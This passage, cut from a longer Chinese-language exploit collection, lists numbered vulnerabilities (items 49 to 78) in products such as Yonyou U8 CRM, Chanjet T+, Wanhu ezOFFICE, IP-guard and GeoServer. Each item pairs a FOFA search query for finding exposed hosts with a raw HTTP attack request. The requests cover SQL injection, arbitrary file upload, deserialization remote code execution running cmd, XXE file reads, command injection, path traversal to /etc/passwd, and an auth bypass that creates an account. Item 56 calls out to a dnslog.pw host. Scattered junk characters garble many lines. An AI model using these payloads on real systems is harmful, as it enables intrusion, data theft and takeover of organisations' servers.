: B, A) a0 H& ~& [4 B% EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& Q5 S7 M6 L0 G# I" l7 {9 o( u9 \Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
. W: r, z6 Y8 N; V, y' |( |  w------269520967239406871642430066855
; i4 t: i/ ?" v/ ~: i7 AContent-Disposition: form-data; name="file"; filename="s.php"
1231
! M" N3 s, Q8 n6 m1 I% IContent-Type: application/octet-stream
9 e* |4 s" j! J4 x9 k9 r------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
upload
/ }/ S+ Y  q# A* z2 L* d2 q4 x------269520967239406871642430066855--

. ]$ p* w+ {9 ~7 r8 I9 O
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
7 L1 I: L$ n# \: Z, AFOFA：body="用友U8CRM"
3 s- ]4 Q$ T2 I* F0 }& k9 e
POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
( m3 A% y/ d+ `. t& ZContent-Length: 329
4 `  ?( n/ e, h5 Z9 v0 M7 mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
+ O; R) H2 W9 o9 sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
9 i6 g' J$ D! z" v, x* g
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
- n8 k& P: M% D8 WContent-Type: application/octet-stream

wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
7 ^9 s, t) T$ P8 h* c: U# jContent-Disposition: form-data; name="upload"
* N% \" W$ V% a7 T0 ?
4 `2 s! P" h' b2 F4 q4 Q( m$ Xupload
-----------------------------vvv3wdayqv3yppdxvn3w--


: `0 p4 X; r  U& l2 f6 m9 V- rhttp://x.x.x.x/tmpfile/updB3CB.tmp.php
2 Y3 s; m( t; }) f0 ]# i
50. QDocs Smart School 6.4.1 filterRecords SQL注入
8 z; c0 s' _# {6 {FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
: _" e3 o4 g4 R  o6 ?* FUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
" C3 L* H' u! Y% o; X2 y" GContent-Length: 224
Accept: */*
Accept-Language: en
5 t3 h, e' r; [Content-Type: application/x-www-form-urlencoded
8 }( L$ }1 T- W2 y4 zAccept-Encoding: gzip
# u# E' V( [, `4 i: r
searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1


51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
1 }$ m; l2 q4 ]+ ^0 yFOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
* K7 Z" k, E: L( f+ ZHost: your-ip
8 B$ |) A' U0 J8 mUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
8 ~, i- Q' C: y) _& }! W2 zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
' l4 j3 d# e1 z* e1 y1 CAccept-Language: zh-CN,zh;q=0.9
Connection: close
( K, N/ e# N' T$ G  R9 b  O  J% p

52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
- ~0 \4 }+ a$ }  H5 ^1 j4 p, gPOST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
  K$ o$ J. D" o/ @, B# X4 `2 l5 zConnection: close
Content-Length: 87
Accept: */*
Accept-Language: en
1 M( S* Y3 o& |( j, JContent-Type: application/x-www-form-urlencoded
- j  _8 G5 ^7 E# y& _Accept-Encoding: gzip
! e5 u% o( b4 p' l2 A" Y+ I; ~, M
tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
1 J. N) O3 w, T, A
  `+ U: c' o0 [. d
53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
" ?& E. o8 n5 w4 A7 j( ?

: f. d" [5 E( g2 v# H54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
1 S7 a, _% b( r! v"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"


& w' p  R# t: P- a4 t完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
8 ]* q" A$ I8 O6 ]1 I9 m: X9 jHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

) o1 r- X& F. `{
1 O$ Z" j5 s/ t, l, A- M, {0 }% k"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
  "ObjectInstance":{
6 U. ^& b7 c; U2 j8 p" ]   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
7 F% W) {- R) m6 w    "StartInfo":{
8 ~5 C5 [0 T  l% C  \; U7 I   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
$ G; J- ^5 ~: G& z* S+ D$ X( O    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
( F* Q) M. z- y- o  }
}
1 `7 e! a) t! v2 T9 e+ W

第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt


55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
8 Q, L- G! e- |/ @; G第一步，通过
* H7 s3 n! G; U7 q6 `/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
5 ]9 i+ w/ Z4 X' Y# W) ^0 `
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
# r0 V" h! P1 t/ _+ Z; O4 [6 ]Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
8 Q. K' U9 t: F) CContent-Type: application/json

{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
* [. J) U+ G- `) V( @   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
8 F1 B$ k& |- ]8 M' O+ |* {( ?        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
7 x5 d) O# r0 ]) O2 C           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
7 b/ Z" A' u; j+ a       }
. P  z( X, u+ P1 x    }
  }
: o( K& |3 P  N+ f9 ~}
) k. i% I* t8 p% E' f

3 z% {% d/ X, w$ B1 d6 s7 }57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
7 F( q. O* ^0 t+ h- @# I" BHost: host
. ^& D& D$ g& T3 ]- y. N2 m/ KUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
+ @+ ]1 g! n& {, g5 nAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
" {! R4 [, S: P4 h, s6 VConnection: close
/ c6 J  _( z/ M& O! B

( u' d4 D" C$ ]8 f' e) N58. 畅捷通T+ KeyInfoList.aspx sql注入
2 `5 i! `/ r+ k# E1 U5 q( p" kFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
1 ~& U. r* H  e1 eHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
* u0 B) L2 X- o- z: ?Accept-Charset: utf-8
' l1 v+ R3 M6 G$ rAccept-Encoding: gzip, deflate
1 X3 O& ?# o: o" F$ j6 G9 fConnection: close
! O: j) k# E$ {& `% V( K- P) ~
% L6 [- H: e" e! U& q5 _: @) _& V9 {
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
; O+ U3 x, B. l5 j5 P* BContent-Length: 1669
8 Z3 J# T' g2 F2 m$ mAccept: */*
Accept-Language: en
; K/ p0 O# ?3 G8 w# o! vContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
. v; o  t' j$ v; |1 D$ S+ E
' F7 ^! C# S! D+ |' ePAYLOAD
" J& q0 y! a; i3 \; i
1 R+ w) A4 U% v/ M9 B1 {+ n2 O
60. 百卓Smart管理平台 importexport.php SQL注入
+ c& W8 a% X. ~9 c5 s: wFOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
9 w) ]+ j& u% r0 h2 E. wHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
" `5 ~5 V2 D1 V4 H5 l+ AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

, Y0 j5 x. F8 K
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
* l8 _( A. f, ^$ P$ GFOFA: title="欢迎使用浙大恩特客户资源管理系统"
$ m9 `3 O, O/ D3 J2 g: r3 y4 EPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
4 C, W- r+ T7 F; ]0 lContent-Length: 27
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/x-www-form-urlencoded

8uxssX66eqrqtKObcVa0kid98xa
- ^- G" y3 L) o7 N& O+ n6 u0 d

62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
9 G7 P4 E! e2 i4 g4 z* IHost: x.x.x.x
. T+ k2 R+ M$ p" PUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
9 c/ v  X( J: g# f9 h6 [( lConnection: close
" O8 x2 e6 s7 PAccept: */*
0 r( ^) X2 W$ f( B) e5 ~% J1 J/ R, JAccept-Language: en
# A% f! B6 K" IAccept-Encoding: gzip

9 v+ x0 b4 e7 F& c7 M
访问

4 n& w+ y, m. A. ?/ x0 ?GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x


63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
  [( U# S" e; B9 z% c; {. E. dPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
0 w1 s6 p4 o% gHost: your-ip
& y# z. j- O* ]/ eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ {3 a+ o, B5 l$ Y4 MAccept-Encoding: gzip, deflate
, k4 w; Z/ p: O) kAccept-Language: zh-CN,zh;q=0.9
Connection: close
7 L7 v8 w( m" G, }8 jContent-Type: application/x-www-form-urlencoded

3 F! B0 F; \6 P$ jpath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
3 u' P! f' Y: T- s" k
4 M% J6 D9 q2 ~! {2 J. J% M2 o64. 捷诚管理信息系统CWSFinanceCommon SQL注入
. I& m' g/ L1 h9 g- O& u$ F5 cFOFA：body="/Scripts/EnjoyMsg.js"
9 H; J2 [! x& m: M1 v2 ]POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
. G& M! v! x4 e  w  sHost: 192.168.86.128:9001
  o# H% k' K# ]0 q4 i$ S$ JUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
" a5 a1 i% E8 ]0 l. e4 ZConnection: close
Content-Length: 369
Accept: */*
4 D" b3 b) E: G2 Q& ~Accept-Language: en
2 u8 r! h* l& R9 c2 G% r" B3 wContent-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
3 S2 D7 n7 [9 ~: ]
<?xml version="1.0" encoding="utf-8"?>
1 [5 N! @: n& Y; k) T% ?+ e' H<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
/ b  o% [2 q% g" ]9 i2 e, C5 v    <GetOSpById xmlns="http://tempuri.org/">
' V0 m9 e& g: b3 j      <sId>1';waitfor delay '0:0:5'--+</sId>
5 G+ Q7 ]$ S+ f    </GetOSpById>
) H0 p0 G6 V- ]2 M* f& T. ~  </soap:Body>
</soap:Envelope>


3 s; ^5 S% [- Y7 l# \5 X0 m  O65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
. w: F2 O# j, D% X2 Q* PPOST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
3 W2 [! e: G, m5 V( A3 r/ BAccept-Language: en
Content-Length: 174

! ?+ _6 A' D6 B( _6 b7 y7 \operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

4 j( Y9 V" K9 x7 z& X
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
, G3 A! N' y3 |FOFA：app="万户ezOFFICE协同管理平台"
& j# y, s0 @* f% Q* W
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
3 l- O6 L, W! e: ~Connection: close
Accept: */*
1 A6 `4 j: `) K; @1 k) tAccept-Language: en
Accept-Encoding: gzip


8 U- I! F* l' ]第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

- P0 w% c- g; m. i- I+ ]2 C67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
' u5 ]" }  Y; B6 f0 D' ^newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
2 U8 b6 @1 o5 i2 f) lPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
) Y) ?, l& b8 @5 G+ j( k: {: |Host: x.x.x.x
) ^, Y9 l; a7 l* ]* o* i0 W; ^User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
% m0 B! a0 f+ `% @/ xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
0 [6 E% a: j5 _* r( fAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
6 _8 z" [1 w" b2 A! q  Y3 h) pUpgrade-Insecure-Requests: 1

/ i- ?% C) h. [$ O--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
4 `% h" o% F8 _# P' e1 i5 l4 D
$ |8 d. C( z  A0 t. H<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
+ j2 Y& Z5 A+ B7 J0 K
" X( h2 e6 [2 v; T5 J# h: P
文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
: t8 s3 H' _) c! e+ P
5 [1 c; [. B! j; c+ r4 i0 P68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
5 h1 w$ _/ }+ zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
+ y4 x+ q9 q) ]8 V! `& ?6 b1 A5 ZConnection: close
" I5 m. g$ P- Q7 h
. t* [8 G9 K% |# `' f
69. 万户 ezOFFICE contract_gd.jsp SQL注入
* B# b( W$ e2 j1 L& zFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
; e, a$ a! M* TAccept: */*
Connection: keep-alive


5 Q2 a4 k! R% s4 c1 o70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
* S  h4 o: m  }& WPOST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
( K# P+ y6 c- S. Z4 ySID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
3 w/ w9 w/ S0 mContent-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702
9 \. C' l$ S7 \* [
% j5 M+ H. S, U, c__VIEWSTATE=PAYLOAD
1 Y5 K, [2 I8 G
; b0 d% K; _2 Q' a5 y) V: p
- A  f6 h% I( X" i( T71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
8 _6 Y/ V/ V7 W( ?FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
# C: c7 ]  o9 b+ Z: k( |5 jUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1


72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
) G6 T: e+ b/ TUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
4 `2 l- d8 u9 G( V/ I! s3 JConnection: close
$ a$ s; c  m. M& @Content-Length: 583
+ p4 p. F; r4 x7 P3 f% \Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

2 r) Y/ n/ b! Y, \7 |S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E

4 F# w  }7 }9 t; ~3 \
73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
6 v: Q0 N) s3 D# B) q8 T0 @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
$ v7 Y! O' O8 U; CContent-Length: 1981
Accept-Encoding: gzip, deflate
2 ]1 |. Q, u5 i2 O! _. P+ lConnection: close
Content-Type: application/xml
0 l: a" H& i4 ?/ f8 YSL-CE-SUID: 3

3 X+ @8 u5 P& d, fPAYLOAD


4 {5 a2 v# w2 D" }0 s74. 致远M3-server 6_1sp1 反序列化RCE
8 V3 q! W% o4 z% ~FOFA：title="M3-Server"
5 b: A8 E  e/ d/ [' RPAYLOAD

75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
( |7 W" T" X/ T2 `Accept-Encoding: gzip
! {- u, T3 T, x9 T4 K" S0 a* x* \
/ P" ~, _8 `1 K
GET /cgi-bin/test28256.txt HTTP/1.1
7 o; t* ?6 I3 l) i6 X" h; tHost: x.x.x.x


3 S+ a" S/ a; w/ l# ]) X+ m76. 新开普掌上校园服务管理平台service.action远程命令执行
9 X4 w/ o# v8 i- p) n3 s9 y+ j8 [FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
, j. S: O3 d9 d' K! h) f$ l6 OHost: x.x.x.x
& ]8 M. M+ o6 k" v! M) n" g$ ?/ ~+ S6 KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
1 T$ A/ C9 u2 Y2 ^8 HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
0 i. x8 _3 d/ }0 PAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 m" M2 W2 `7 E3 o4 {. w6 b: [/ D; b( ICookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
% h; u& a! e# n- i, o) K& jUpgrade-Insecure-Requests: 1
# P8 z9 j' Z7 X  H4 U
{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
0 P. S5 R; G" e+ L2 t  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
. [8 c# F* q  u9 l+ s( V8 g}


GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
6 U" @& d; ]6 Z: q

* j* X0 B  W# G% t- `
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
- ?0 J0 d- T: L- cPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
' s' n7 `9 N" D1 O) EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
' W/ W5 l* X/ |$ F+ ]: {: N. \Connection: close
Content-Length: 433
Accept: */*
9 s! M9 s# Y( M9 l' T1 A) BAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* [0 j: N- S  L8 I$ DContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
; S; M4 G) |7 p: x: m* X; ~
------------398jnjVTTlDVXHlE7yYnfwBoix
: G1 m4 n5 z1 x( v9 }* E5 wContent-Disposition: form-data; name="folder"
; w+ Y. ^* N4 D. j* ^$ c3 b
" D9 f9 R: G  S! R6 r: c/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
( ^8 Z( R% a) S2 ?Content-Type: application/octet-stream
9 N" \  W. o0 h
- H+ ], @0 F' ]2 k9 D/ phello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
% K$ n, j. v2 A8 W& CContent-Disposition: form-data; name="Upload"
3 A  R+ H+ u$ C, U& W& ?
Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--


! _/ `. ?" S' T* {9 G6 {78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
( A( o3 x6 z% a: _5 ~6 j$ S3 [1 |+ LPOST /Platform/System/FileUpload.ashx HTTP/1.1
! x& y2 Z7 l7 K1 g# P. O2 c  xHost: x.x.x.x
& P) l- W2 F" D- p* dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
* C( @. ?1 D- ~5 i  CContent-Length: 336
